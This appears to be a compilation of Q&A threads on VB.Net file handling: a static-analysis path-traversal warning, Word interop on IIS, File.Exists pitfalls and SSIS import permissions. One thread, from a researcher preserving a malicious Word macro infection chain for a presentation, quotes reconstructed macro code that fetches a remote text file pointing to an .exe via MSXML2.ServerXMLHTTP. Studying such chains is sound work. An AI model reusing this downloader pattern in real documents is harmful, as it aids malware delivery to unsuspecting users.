IBM AppScan Security PathTraversal issue in File.Copy method in VB.Net - vb.net

I ran IBM AppScan tool on a VB.Net source.I am getting one security issue in File.Copy method under Path Traversal category.
Issue Detail -
Vulnerability Type - PathTraversal
This API accepts a directory, a filename, or both. If user supplied data is used to create the file path, the path can be manipulated to point to directories and files which should not be allowed access or which may contain malicious data or code.
How can i fix this issue?
Imports System.Web.Security.AntiXss
Private Function ProcessFile() As Boolean
Dim drive As String = String.Empty
Dim folder As String = String.Empty
Dim filename As String = String.Empty
Dim sourcePath As String = String.Empty
Dim destinationPath As String = String.Empty
drive = AntiXssEncoder.XmlEncode(String.Format("{0}", System.Configuration.ConfigurationManager.AppSettings("Drive").ToString()))
folder = AntiXssEncoder.XmlEncode(String.Format("{0}", System.Configuration.ConfigurationManager.AppSettings("Folder").ToString()))
filename = AntiXssEncoder.XmlEncode(String.Format("{0}", System.Configuration.ConfigurationManager.AppSettings("File").ToString()))
sourcePath = Path.Combine(drive, folder, filename)
destinationPath = Path.Combine(drive, folder, "text2.txt")
Try
If sourcePath.IndexOfAny(Path.GetInvalidPathChars()) = -1 AndAlso destinationPath.IndexOfAny(Path.GetInvalidPathChars()) = -1 Then
File.Copy(sourcePath, destinationPath, True)
Return True
Else
Return False
End If
Catch ex As Exception
Return False
End Try
End Function

It's probably considering AppSettings to be untrusted user input (I've seen AppScan Source do similar with config on a Java project), so it's complaining that you're making a path with untrusted input that could have separators in.
If any of drive, folder and filename did come from untrusted this would definitely be a problem. Assuming however that your config is only accessible to trusted administrators this is nothing. It's pretty stupid that config is treated as an unchecked source, but then taint tracking tools are pretty stupid in general.
The handling of filenames here is rather wacky. It seems very unlikely that XML-encoding filenames before using them is a good idea; the ToString and Format steps are entirely superfluous; and checking the whole path for ‘invalid’ characters doesn't protect against injection from an individual part anyway. Is this stuff an attempt to work around AppScan? The InvalidPathChars check wouldn't help as it doesn't directly encode/validate and return the tainted value, and the XmlEncode would only help if that function were explicitly marked as a validation/encoding function.
It's sad to make code more broken in an attempt to satisfy a blunt instrument of a static analyser. Could you perhaps add a function to be used as a wrapper on AppSettings values and tell AppScan it is a validation/encoding function, so it doesn't think the values are tainted? Or just ignore/silence the bogus warning?

System.Configuration.ConfigurationManager.AppSettings can be considered as a safe source, you can just exclude the findings so it won't come up again.
On the other hand, this code can be considered as having poor secure coding practice. If you replace "System.Configuration.ConfigurationManager.AppSettings" with something like a web UI input, then the end user has control over the value of "folder" "drive" and "filename", this then becomes a serious path traversal issue.

Related

Word automation failing on server, but dev station works great

I am automating a oft-used paper form by querying the user on a web page, then modifying a base Word document and feeding that modified doc file to the user's browser for hand-off to Word.
The code is Visual Basic, and I am using the Microsoft.Office.Interop module to manipulate the document by manipulating Word. Works fine on the development system (Visual Studio 2015) but not on the production server (IIS 8.5).
Both the Documents.Open() call and the doc.SaveAs() call fail with Message="Command failed" Source="Microsoft Word" HResult=0x800A1066
Things I've tried:
Added debugging out the whazoo: Single-stepping is not an option on the production machine, so I pinpointed the problem lines with debug output.
Googled and found that this problem has been reported as early as 2007, but no viable solutions were reported.
A couple sites mentioned timing issues, so I added several pauses and retries -- none helped.
Some mentioned privileging, so I tried changing file permissions & application pool users -- neither helped.
Enhanced my exception handling reports to show more details and include all inner exceptions. That yielded the magic number 800A1066 which led to many more google hits, but no answers.
Added fall-back code: if you can't open the main document, create a simple one. That's when I found the SaveAs() call also failing.
Dropped back to the development system several times to confirm that yes, the code does still work properly in the right environment.
Greatly condensed sample code does not include fallback logic. My Word document has a number of fields whose names match the XML tokens passed as parameters into this function. saveFields() is an array of those names.
Dim oWord As Word.Application
Dim oDoc As Word.Document
oWord = CreateObject("Word.Application")
oWord.Visible = True
oDoc = oWord.Documents.Open(docName)
Dim ev As String
For i = 0 To saveFields.Length - 1
Try
ev = dataXD.Elements(saveFields(i))(0).Value
Catch
ev = Nothing
End Try
If ev IsNot Nothing Then
Try
Dim field = oDoc.FormFields(saveFields(i))
If field IsNot Nothing Then
If field.Type = Word.WdFieldType.wdFieldFormTextInput Then
field.Result = ev
End If
End If
Catch e As Exception
ErrorOut("Caught exception! " & e.Message)
End Try
End If
Next
...
oDoc.SaveAs2(localDir & filename)
oDoc.Close()
oWord.Quit(0, 0, 0)
The code should generate a modified form (fields filled in with data from the parameters); instead it fails to open, and the fallback code fails to save the new document.
On my dev system the document gets modified as it should, and if I break at the right place and change the right variable, the fallback code runs and generates the alternate document successfully -- but on the production server both paths fail with the same error.
Barring any better answers here, my next steps are to examine and use OpenXML and/or DocX, but making a few changes to the existing code is far preferable to picking a new tool and starting over from scratch.
Unfortunately, Lex Li was absolutely correct, and of course, the link to the reason why is posted on a site my company considers off limits, thus never showed up in my google searches prior to coding this out.
None of the tools I tried were able to handle the form I was trying to automate either -- I needed to fill in named fields and check/uncheck checkboxes, abilities which seemed beyond (or terribly convoluted in) the tools I evaluated ...
Eventually I dug into the document.xml format myself; I developed a function to modify the XML to check a named checkbox, and manipulated the raw document.xml to replace text fields with *-delimited token names. This reduced all of the necessary changes to simple string manipulation -- the rest was trivial.
The tool is 100% home-grown, not dependent upon any non-System libraries and works 100% for this particular form. It is not a generic solution by any stretch, and I suspect the document.xml file will need manual changes if and when the document is ever revised.
But for this particular problem -- it is a solution.
This was the closest I got to a complicated part. This function will check (but not uncheck) a named checkbox from a document.xml if the given condition is true.
Private Shared Function markCheckbox(xmlString As String, cbName As String, checkValue As Boolean) As String
markCheckbox = xmlString
If checkValue Then ' Checkbox needs to be checked, proceed
Dim pos As Integer = markCheckbox.IndexOf("<w:ffData><w:name w:val=""" & cbName & """/>")
If pos > -1 Then ' We have a checkbox
Dim endPos As Integer = markCheckbox.IndexOf("</w:ffData>", pos+1)
Dim cbEnd As Integer = markCheckbox.IndexOf("</w:checkBox>", pos+1)
If endPos > cbEnd AndAlso cbEnd > -1 Then ' Have found the appropriate w:ffData element (pos -> endPos) and the included insert point (cbEnd)
markCheckbox = markCheckbox.Substring(0, cbEnd) & "<w:checked/>" & markCheckbox.Substring(cbEnd)
End If
' Any other logic conditions, return the original XML string unmangled.
End If
End If
End Function

Visual Basic don't see application.evtx

I have a problem with "Application.evtx" file. Everytime I run my script I get the message box with "File not found" information and I don't know why. I ran Visual Studio as administrator. Help me with this one, please.
Imports System.IO
Module Module1
Sub Main()
Dim pathReadFile As String = "c:\Windows\System32\winevt\Logs\Application.evtx"
'Dim pathReadFile As String = "%windir%\Sysnative\winevt\Logs\Application.evtx"
'Dim pathReadFile As String = "D:\Dokumenty\MyTest.txt"
Try
If File.Exists(pathReadFile) Then
MsgBox("File found.")
Else
MsgBox("File not found.")
End If
Catch ex As Exception
End Try
End Sub
End Module
Don't use File.Exists(). Ever.
There are many reasons for this, but the one that impacts you right now is that it lies to you and tells you the file does not exist, even if the file actually does exist and the real problem is that you don't have permissions to use it. From the docs:
Return Value
Type: System.Boolean
true if the caller has the required permissions and path contains the name of an existing file; otherwise, false
Remember that normal users have extremely limited file system permissions outside of their own home folders, and even Administrator users need to explicitly run a process as elevated or UAC will just give them normal user permissions.
You have to handle the exception anyway if reading the file fails. Put your development effort into the exception handler.
While I'm here, you may also want to build your path like this:
Dim pathReadFile As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "winevt\Logs\Application.evtx")

How do I modify a word macro .response to use a local file instead?

I'm trying to preserve a malicious macro enabled document infection chain for a presentation. Since the URLs tend to die off rather quickly, I've saved all the files locally, and am trying to modify the macro code to use the local files instead of the response objects based on the URLs, and I'm encountering some issues.
The original code looks something like this (I made up some function and variable names that make a little more sense than the obfuscated garbage I've been dealing with, but the names may not be accurate to their functions)
CONT = Module2.OpenURL("http://malicioustextfile.txt")
Public Function OpenURL(URL As String)
Set fileObject = CreateObject("MSXML2.ServerXMLHTTP")
fileObject.Open GET, URL
fileObject.Send ( VariableIcantRembmer )
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
FileProcessFunction = (a.responsetext)
End Function
And I've modified it to look more like this
CONT = Module2.OpenURL("C:\localfile.txt")
Public Function OpenURL(URL As String)
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileObject = fso.OpenTextFile(URL)
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
Do Until a.AtEndOfStream
FileProcessFunction = FileProcessFunction + a.readline
Loop
End Function
But this causes an overflow later in the program, and doesn't preserve the newlines of the file. Before I just had it doing FileProcessFunction = a.readline, but that was clearly only returning the last line. I don't know if I need character returns (I think I do), and the FileProcessFunction I'm fairly certain is also used to get an .exe file, which won't work with a.readline, I'm pretty sure. The last time I stepped through it, all it pulled from the local .exe was the MZ header, and nothing else.
How can I process the local file objects in a way that will properly mimic the a.responsetext property on a URL request?
Not sure what you're really looking for...
Public Function FileProcessFunction(a As Object)
FileProcessFunction = a.readall()
End Function
I figured out what the problem was. I'm relatively sure what I was trying to do would have actually worked, but I was pointing the Macro to the .exe file instead of the the text file with the download link for said .exe file. The macro was expecting the text file with a link.
The fix I implemented instead of trying to use the local files, was to use a Remnux VM on the host only network hosting the files with python -m SimpleHTTPServer. Then I'd simply set a breakpoint for when the objects were created, and manipulate the locals to point to the files on my Remnux machine rather than the URIs it was actually coded for. Also, set the link in the text file to the Remnux machine, instead of dropbox. Worked like a charm.

Access to path is denied when trying to import from the client's desktop with SSIS

I'm creating a html page that will import an excel file in to a tracking system. On a button click event excel file is located / ssis package is fired / data imported then closed out. Thats the idea work flow. Problem is the excel file access is being denied before the package even executes
Here is the exact error :
I've tried :
excel file properties have been shared to everyone
identity impersonate set to true
hard coding the path
here is the VB code
Protected Sub bntExecute_Click(sender As Object, e As EventArgs) Handles btnExecute.Click
Dim app As Application = New Application()
Dim package As Package = Nothing
'Dim fileName As String = "C:\Users\Desktop\T. Bryant III\PTSID_Update_Template"'
Try
Dim fileName As String = Server.MapPath(System.IO.Path.GetFileName(FileUpload1.PostedFile.FileName.ToString()))
FileUpload1.PostedFile.SaveAs(fileName)
package = app.LoadPackage("#C:\Users\Desktop\T.Bryant III\KitImport", Nothing)
'excel connection from package'
package.Connections("SourceConnectionExcel").ConnectionString = "provider=Microsoft.Jet.OLEDB.4.0data source =" + fileName + "Extended Properties = Excel 8.0"
'Execute the pakage'
Dim results As Microsoft.SqlServer.Dts.Runtime.DTSExecResult = package.Execute()
Catch ex As Exception
Throw ex
Finally
package.Dispose()
package = Nothing
End Try
End Sub
Thanks in advance or if there is an easier way to do this please let me know. The package when executing it in ssis works fine with its own connection manager etc.
A few things to try. If they don't work for you as permanent solutions, they should at least confirm that your code is working and you are dealing with a persmissions issue (which appears to be the case).
Move your file to the public folder (C:\Users\Public).
Run your application (or web browser) as an administrator (if applicable to your version of Windows).
If you are using a web browser, try using a different one.
If nothing else works, try pasting your code into a Windows Form Application.
If you still get the same error after trying all of this, it's time to take another look at your code. Remove the Try/Catch block to determine precisely which line is throwing the error. If you've tried hard coding, I'm guessing it's the SaveAs method. I'm not sure what class FileUpload1 is, but some SaveAs methods won't overwrite existing files unless you explicitly tell them to. Check the appropriate documentation and see if you don't need to pass a True value somewhere along with filename.
Update us with the results. At the very least, this should narrow down your problem and allow for a better diagnosis of it.

VB.Net File.Exists() Returns True but Excel cannot Open

I check for the existence of the file with File.Exists(filePath). Then I try to open the file from within Excel with Excel.Workbooks.OpenText(filePath). But Excel complains that the file's not there. What the heck?
The context is that I am shelling out to another application to process a given file and produce a .out file, which I then convert to an Excel workbook.
'' At this point, filePath is a .txt file.
Dim args As String = String.Format("""{0}""", filePath)
...
Dim exe As String = Config.ExtractEXE
Dim i As New ProcessStartInfo(exe)
i.Arguments = args
Dim p As Process = Process.Start(i)
p.WaitForExit()
...
'' filePath now becomes the .out file.
'' Then eventually, I get around to checking:
'If Not File.Exists(filePath) Then
' MsgBox("Please ensure...")
' Exit Sub
'End If
'' In response to an answer, I no longer check for the existence of the file, but
'' instead try to open the file.
Private Function fileIsReady(filePath As String) As Boolean
Try
Using fs As FileStream = File.OpenRead(filePath)
Return True
End Using
Catch
Return False
End Try
End Function
Do Until fileIsReady(filePath)
'' Wait.
Loop
ExcelFile.Convert(filePath...)
'' Wherein I make the call to:
Excel.Workbooks.OpenText(filePath...)
'' Which fails because filePath can't be found.
Is there a latency issue, such that .Net recognizes the existence of the file before it's accessible to other applications? I just don't understand why File.Exists() can tell me the file is there and then Excel can't find it.
As far as I know, the only application that might have the file open is the application I call to do the processing. But that application should be finished with the file by the time p.WaitForExit() finishes, right?
I've had to deploy the application with this as a known bug, which really sucks. There's an easy workaround for the user; but still--this bug should not be. Hope you can help.
Whether or not a file exists is not the only factor in whether you can open it. You also need to look at file system permissions and locking.
File.Exists can lie to you (it returns false if you pass a directory path or if any error occurs, even if the file does exist)
The file system is volatile, and things can change even in the brief period between an if (File.Exists(...)) line and trying to open the file in the next line.
In summary: you should hardly ever use file.exists(). Almost any time you are tempted to do so, just try to open the file and make sure you have a good exception handler instead.